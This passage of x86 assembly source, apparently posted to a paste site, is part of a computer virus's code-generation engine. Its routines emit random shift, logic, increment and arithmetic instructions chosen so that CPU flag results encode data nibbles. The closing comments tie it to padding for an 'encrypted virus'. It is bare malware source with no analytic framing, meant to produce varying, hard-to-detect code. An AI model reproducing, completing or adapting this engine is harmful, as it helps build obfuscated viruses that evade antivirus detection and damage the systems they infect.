- mov ebp, dword[RandomNumber]
- and ebp, 0000'0111b
- cmp ebp, 2
- je GN2_GetTypeAgain
- cmp ebp, 3
- je GN2_GetTypeAgain
- cmp ebp, 6
- je GN2_GetTypeAgain
- push 0 ; counter
- GN2_Shift_loop: ; shl Reg, 1
- pop ecx
- inc ecx
- push ecx
- cmp ecx, 0x2A
- ja GN_PossibleInfinitLoop
- call GetRandomNumber
- mov ecx, dword[RandomNumber]
- GN2_CF_GetAnotherCL:
- call GetRandomNumber
- mov ecx, dword[RandomNumber]
- test ecx, 0001'1111b ; shiftcount must not be zero
- jz GN2_CF_GetAnotherCL
- call GetRandomNumber
- mov eax, dword[RandomNumber]
- push eax
- cmp ebp, 0
- jne GN2_Shift_loop_SHLN
- shl eax, 1
- jmp GN2_Shift_loop_LAHF
- GN2_Shift_loop_SHLN: ; shl Reg, N/cl
- cmp ebp, 1
- jne GN2_Shift_loop_SAL1
- shl eax, cl
- jmp GN2_Shift_loop_LAHF
- GN2_Shift_loop_SAL1: ; sal Reg, 1
- cmp ebp, 4
- jne GN2_Shift_loop_SALN
- sal eax, 1
- jmp GN2_Shift_loop_LAHF
- GN2_Shift_loop_SALN: ; sal Reg, N
- cmp ebp, 5
- jne GN2_Shift_loop_SARN
- sal eax, cl
- jmp GN2_Shift_loop_LAHF
- GN2_Shift_loop_SARN: ; sar Reg, N
- sar eax, cl
- ; jmp GN3_Shift_loop_LAHF
- GN2_Shift_loop_LAHF:
- lahf
- pop edx
- and ah, byte[FlagMask]
- and bh, byte[FlagMask]
- cmp ah, bh
- jne GN2_Shift_loop
- pop eax ; remove counter
- GN2_GetDifferentRegister:
- call GetRandomNumber
- mov eax, dword[RandomNumber]
- and al, 0000'0011b
- cmp al, 0000'0001b
- je GN2_GetDifferentRegister ; dont use ECX because we can use CL as second parameter (~2h to find this :) )
- or al, 0xB8 ; al=1011'10NN - NN...random (eax, ebx, edx)
- mov byte[edi], al
- inc edi
- mov dword[edi], edx
- add edi, 4
- push ebp
- and ebp, 0000'0001b
- pop ebp
- jnz GN2_ShiftN ; is it "shift Reg, 1" ?
- mov byte[edi], 0xD1
- inc edi
- and al, 0000'0011b
- cmp ebp, 0
- jne GN2_Shift_CreateCode_SAL
- add al, 0xE0
- jmp GN2_Shift_CreateCode_done
- GN2_Shift_CreateCode_SAL:
- cmp ebp, 4
- jne GN2_Shift_CreateCode_SAR
- add al, 0xF0
- jmp GN2_Shift_CreateCode_done
- GN2_Shift_CreateCode_SAR:
- add al, 0xF0
- GN2_Shift_CreateCode_done:
- mov byte[edi], al
- inc edi
- jmp GN2_Shift_End
- GN2_ShiftN:
- and al, 0000'0011b
- cmp ebp, 1
- jne GN2_ShiftNum_NotShl
- add al, 0xE0 ; shl
- jmp GN2_ShiftNum_WriteNow
- GN2_ShiftNum_NotShl:
- cmp ebp, 5
- jne GN2_ShiftNum_NotSal
- add al, 0xF0 ; sal
- jmp GN2_ShiftNum_WriteNow
- GN2_ShiftNum_NotSal:
- add al, 0xF8 ; sar
- ; jmp GN2_ShiftNum_WriteNow
- GN2_ShiftNum_WriteNow:
- call GetRandomNumber
- mov ah, byte[RandomNumber] ; 0 ... shift Reg, NNNN
- ; 1 ... shift Reg, cl
- and ah, 0000'0001b
- jz GN2_Shift_Num
- mov byte[edi], 0xB9 ; mov ecx, ...
- inc edi
- mov dword[edi], ecx
- add edi, 4
- mov byte[edi], 0xD3
- inc edi
- mov byte[edi], al
- inc edi
- jmp GN2_Shift_End
- GN2_Shift_Num:
- mov byte[edi], 0xC1
- inc edi
- mov byte[edi], al
- inc edi
- mov byte[edi], cl
- inc edi
- GN2_Shift_End:
- mov dword[VerifiedAddress], edi
- ret
- ; ##### Nibble 2: CF PF (AF undefined, SF undefined?) - (SHL, SHR, SAL, SAR)
- ; ###########################################################################
- ; ###########################################################################
- ; ##### Nibble 3: PF SF (AF undefined) - (AND, XOR, TEST)
- GenerateNibble3:
- ; edi ... pointer in filecode
- ; bl & 0000'1111b ... nibble to generate
- call InformationToFlagByte ; bh=flag byte
- call GetRandomNumber
- mov ebp, dword[RandomNumber]
- and ebp, 0000'0011b
- push 0
- GN3_AndXorTest_Loop:
- pop eax
- inc eax
- push eax
- cmp eax, 0x2A
- ja GN_PossibleInfinitLoop
- call GetRandomNumber
- mov eax, dword[RandomNumber]
- push eax
- call GetRandomNumber
- mov ecx, dword[RandomNumber]
- cmp ebp, 0
- jne GN3_AndXorTest_NotAnd
- and eax, ecx
- jmp GN3_AndXorTest_LAHF
- GN3_AndXorTest_NotAnd:
- cmp ebp, 1
- jne GN3_AndXorTest_NotXor
- xor eax, ecx
- jmp GN3_AndXorTest_LAHF
- GN3_AndXorTest_NotXor:
- test eax, ecx
- jmp GN3_AndXorTest_LAHF
- GN3_AndXorTest_LAHF:
- pop edx
- lahf
- and ah, byte[FlagMask]
- and bh, byte[FlagMask]
- cmp ah, bh
- jne GN3_AndXorTest_Loop
- pop eax ; remove counter
- call GetRandomNumber
- mov eax, dword[RandomNumber]
- and eax, 0000'0011b
- or al, 0xB8 ; al=1011'10NN - NN...random (eax, ebx, ecx, edx)
- mov byte[edi], al
- and eax, 0000'0011b
- inc edi
- mov dword[edi], edx ; mov Reg1, NUMBER
- add edi, 4
- and eax, 0000'0011b
- call GetRandomNumber
- mov esi, dword[RandomNumber]
- and esi, 0000'0001b
- je GN3_AndXorTest_Num
- ; and Reg1, Reg2
- GN3_AndXorTest_TwoRegisters_Next:
- call GetRandomNumber
- mov ebx, dword[RandomNumber]
- and ebx, 0011b
- cmp ebx, eax
- je GN3_AndXorTest_TwoRegisters_Next ; Not the same registers!
- or bl, 0xB8
- mov byte[edi], bl ; mov Reg2, ...
- inc edi
- mov dword[edi], ecx ; mov Reg2, NNNN
- add edi, 4
- cmp ebp, 0
- jne GN3_AndXorTest_2Regs_NoAnd
- mov byte[edi], 0x21
- jmp GN3_AndXorTest_2Regs_cont1
- GN3_AndXorTest_2Regs_NoAnd:
- cmp ebp, 1
- jne GN3_AndXorTest_2Regs_NoXor
- mov byte[edi], 0x31
- jmp GN3_AndXorTest_2Regs_cont1
- GN3_AndXorTest_2Regs_NoXor:
- mov byte[edi], 0x85
- jmp GN3_AndXorTest_2Regs_cont1
- GN3_AndXorTest_2Regs_cont1:
- inc edi
- and bl, 0011b ; Reg2
- shl bl, 3 ; bl=000??000
- add bl, al ; bl=000??0??
- add bl, 1100'0000b ; bl=110??0??
- mov byte[edi], bl
- inc edi
- jmp GN3_AndXorTest_Fin
- GN3_AndXorTest_Num:
- push ebp
- and ebp, 0000'0010b
- pop ebp
- jz GN3_AndXorTest_Num_AndXor
- mov byte[edi], 0xF7
- inc edi
- or al, 0xC0
- mov byte[edi], al
- inc edi
- mov dword[edi], ecx
- add edi, 4
- jmp GN3_AndXorTest_Fin
- GN3_AndXorTest_Num_AndXor:
- mov byte[edi], 0x81
- inc edi
- cmp ebp, 0
- jne GN3_AndXorTest_Num_NoAnd
- or al, 0xE0
- jmp GN3_AndXorTest_Num_cont1
- GN3_AndXorTest_Num_NoAnd:
- or al, 0xF0
- ; jmp GN3_AndXorTest_Num_cont1
- GN3_AndXorTest_Num_cont1:
- mov byte[edi], al
- inc edi
- mov dword[edi], ecx
- add edi, 4
- GN3_AndXorTest_Fin:
- mov dword[VerifiedAddress], edi
- ret
- ; ##### Nibble 3: CF PF SF (AF undefined) - (AND, XOR, TEST)
- ; ###########################################################################
- ; ###########################################################################
- ; ##### Nibble 4: AF PF SF (DEC, INC)
- GenerateNibble4:
- ; edi ... pointer in filecode
- ; bl & 0000'1111b ... nibble to generate
- call InformationToFlagByte ; bh=flag byte
- call GetRandomNumber
- mov ebp, dword[RandomNumber]
- and ebp, 0000'0001b
- push 0
- GN4_IncDec_Loop:
- pop eax
- inc eax
- push eax
- cmp eax, 0x2A
- ja GN_PossibleInfinitLoop
- call GetRandomNumber
- mov eax, dword[RandomNumber]
- push eax
- cmp ebp, 0
- je GN4_IncDec_Loop_DEC
- inc eax
- lahf
- jmp GN4_IncDec_Loop_fin
- GN4_IncDec_Loop_DEC:
- dec eax
- lahf
- GN4_IncDec_Loop_fin:
- pop edx
- and ah, byte[FlagMask]
- and bh, byte[FlagMask]
- cmp ah, bh
- jne GN4_IncDec_Loop
- pop eax ; remove counter
- call GetRandomNumber
- mov eax, dword[RandomNumber]
- and al, 0000'0011b
- or al, 0xB8 ; al=1011'10NN - NN...random (eax, ebx, ecx, edx)
- mov byte[edi], al
- inc edi
- mov dword[edi], edx
- add edi, 4
- and al, 0000'0011b
- cmp ebp, 1
- je GN4_IncDec_Loop_writeByteINC
- add al, 8
- GN4_IncDec_Loop_writeByteINC:
- add al, 0x40
- mov byte[edi], al
- inc edi
- mov dword[VerifiedAddress], edi
- ret
- ; ##### Nibble 4: AF PF SF (DEC, INC)
- ; ###########################################################################
- ; ###########################################################################
- ; ##### Nibble 5: AF CF PF SF (ADD, CMD, NEG, SUB)
- GenerateNibble5:
- ; edi ... pointer in filecode
- ; bl & 0000'1111b ... nibble to generate
- ; AF CF PF SF
- ; using ADD, SUB, CMP, NEG
- call GetRandomNumber
- mov ebp, dword[RandomNumber]
- and ebp, 0000'0011b
- cmp ebp, 0x0
- je GN5_Neg
- GN8AddSubCmpNext:
- call GetRandomNumber
- mov ebp, dword[RandomNumber]
- and ebp, 0000'0011b ; ebp tells which instruction to use (1=add, 2=sub, 3=cmp)
- jz GN8AddSubCmpNext
- jmp GN5_AddSubCmp
- GN5_fin:
- mov dword[VerifiedAddress], edi
- ret
- GN5_Neg:
- call InformationToFlagByte ; bh=flag byte
- push 0
- GN5_Neg_Loop:
- pop eax
- inc eax
- push eax
- cmp eax, 0x2A
- ja GN_PossibleInfinitLoop
- call GetRandomNumber
- mov eax, dword[RandomNumber]
- push eax
- neg eax
- lahf
- pop edx
- cmp ah, bh
- jne GN5_Neg_Loop
- pop eax
- call GetRandomNumber
- mov eax, dword[RandomNumber]
- and al, 0000'0011b
- or al, 0xB8 ; al=1011'10NN - NN...random (eax, ebx, ecx, edx)
- mov byte[edi], al
- inc edi
- mov dword[edi], edx
- add edi, 4
- mov byte[edi], 0xF7
- inc edi
- and al, 0000'0011b
- add al, 0xD8
- mov byte[edi], al
- inc edi
- jmp GN5_fin
- GN5_AddSubCmp:
- call InformationToFlagByte ; bh=flag byte
- call GetRandomNumber
- push 0 ; loop counter
- GN5_AddSubCmp_Loop:
- pop edx
- inc edx
- push edx
- cmp edx, 0x2A
- ja GN_PossibleInfinitLoop
- mov edx, dword[RandomNumber]
- push edx
- call GetRandomNumber
- mov esi, dword[RandomNumber]
- cmp ebp, 1
- je GN5_AddSubCmp_Loop_Sub
- cmp ebp, 2
- je GN5_AddSubCmp_Loop_Cmp
- mov ecx, 0x01C0
- add edx, esi
- jmp GN5_AddSubCmp_Loop_LAHF
- GN5_AddSubCmp_Loop_Sub:
- mov ecx, 0x29E8
- sub edx, esi
- jmp GN5_AddSubCmp_Loop_LAHF
- GN5_AddSubCmp_Loop_Cmp:
- mov ecx, 0x39F8
- cmp edx, esi
- GN5_AddSubCmp_Loop_LAHF:
- lahf
- pop edx
- and ah, byte[FlagMask]
- and bh, byte[FlagMask]
- cmp ah, bh
- jne GN5_AddSubCmp_Loop
- pop eax ; remove counter
- call GetRandomNumber
- mov eax, dword[RandomNumber]
- and eax, 0000'0011b ; create Register number
- push eax ; save Register number
- mov bl, al
- add bl, 0xB8
- mov byte[edi], bl
- inc edi
- mov dword[edi], edx
- add edi, 4 ; mov Reg1, NNNN
- call GetRandomNumber
- mov eax, dword[RandomNumber]
- and eax, 1
- jz GN5_AddSubCmp_TwoRegisters
- mov byte[edi], 0x81
- inc edi
- mov dl, cl
- pop eax ; get Register number
- add dl, al ; use Register number
- mov byte[edi], dl ; add Reg, ...
- inc edi
- mov dword[edi], esi
- add edi, 4
- jmp GN5_fin
- GN5_AddSubCmp_TwoRegisters:
- pop eax ; Register number
- and al, 0000'0011b
- GN5_AddSubCmp_TwoRegisters_Next:
- call GetRandomNumber
- mov ebx, dword[RandomNumber]
- and ebx, 0011b
- cmp ebx, eax
- je GN5_AddSubCmp_TwoRegisters_Next ; Not the same registers!
- or bl, 0xB8
- mov byte[edi], bl ; mov Reg2, ...
- inc edi
- mov dword[edi], esi ; mov Reg2, NNNN
- add edi, 4
- and bl, 0011b ; Reg2
- shl bl, 3 ; bl=000??000
- add bl, al ; bl=000??0??
- or bl, 1100'0000b ; bl=110??0??
- mov byte[edi], ch
- inc edi
- mov byte[edi], bl
- inc edi ; add Reg1, Reg2
- jmp GN5_fin
- ; ##### Nibble 5: AF CF PF SF (ADD, CMD, NEG, SUB)
- ; ###########################################################################
- InformationToFlagByte:
- ; in: bl=0000'SAPC
- ; out: bh=S00A'0P1C
- push eax
- mov al, bl
- ; CF:
- mov bh, bl ; ah=0000'SAPC
- and bh, 0000'0001b ; ah=0000'000C
- ; PF:
- shl bl, 1 ; al=000S'APC0
- or bh, bl ; ah=000S'APCC
- and bh, 0000'0101b ; ah=0000'0P0C
- ; AF:
- shl bl, 1 ; al=00SA'PC00
- and bl, 0011'0000b ; al=00SA'0000
- or bh, bl ; ah=00SA'0P0C
- and bh, 0001'0101b ; ah=000A'0P0C
- ; SF:
- shl bl, 2 ; al=SA00'0000
- or bh, bl ; ah=SA0A'0P0C
- and bh, 1001'0101b ; ah=S00A'0P0C
- or bh, 0000'0010b ; ah=S00A'0P1C
- xchg al, bl
- pop eax
- ret
- GN_PossibleInfinitLoop:
- ; given Nibble could not be created with current methode
- ; therefore give up after 42+ trials and try with another one
- pop eax ; remove counter
- pop eax ; remove return-addresse
- mov edi, dword[VerifiedAddress] ; last correct addresse of file
- ; if there has already been some code written to the
- ; new file, it can be considered as random functional trash :)
- jmp CreateCodeForNibble
- ; #####
- ; ##### Generate Nibbles
- ; #####
- ; ###########################################################################
- GetRandomNumber:
- pushad
- xor edx, edx
- mov eax, dword[RandomNumber]
- ror eax, 16
- mov ebx, 1103515245
- mul ebx ; EDX:EAX = EDX:EAX * EBX
- add eax, 12345
- rol eax, 16
- mov dword[RandomNumber], eax
- popad
- ret
- CreateSpecialRndNumber:
- ; in: ebx, ecx
- ; out: edx=(rand()%ebx + ecx)
- call GetRandomNumber
- xor edx, edx
- mov eax, dword[RandomNumber]
- div ebx
- add edx, ecx
- ret
- WholeCodeEnd:
- times (175'269 + 7 * 1149 - (WholeCodeEnd-StartEngine)) db 0x0 ; 1st generation padding
- ; This is average size of encrypted virus + 7 * sigma - 1st gen. code
- ; 7*sigma ~ 99.999999999744 % of all cases
- ; (i took the average of 15files, as statistics is very high in one
- ; file, this is to a very good approx. gauss distributed)
- .end start
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement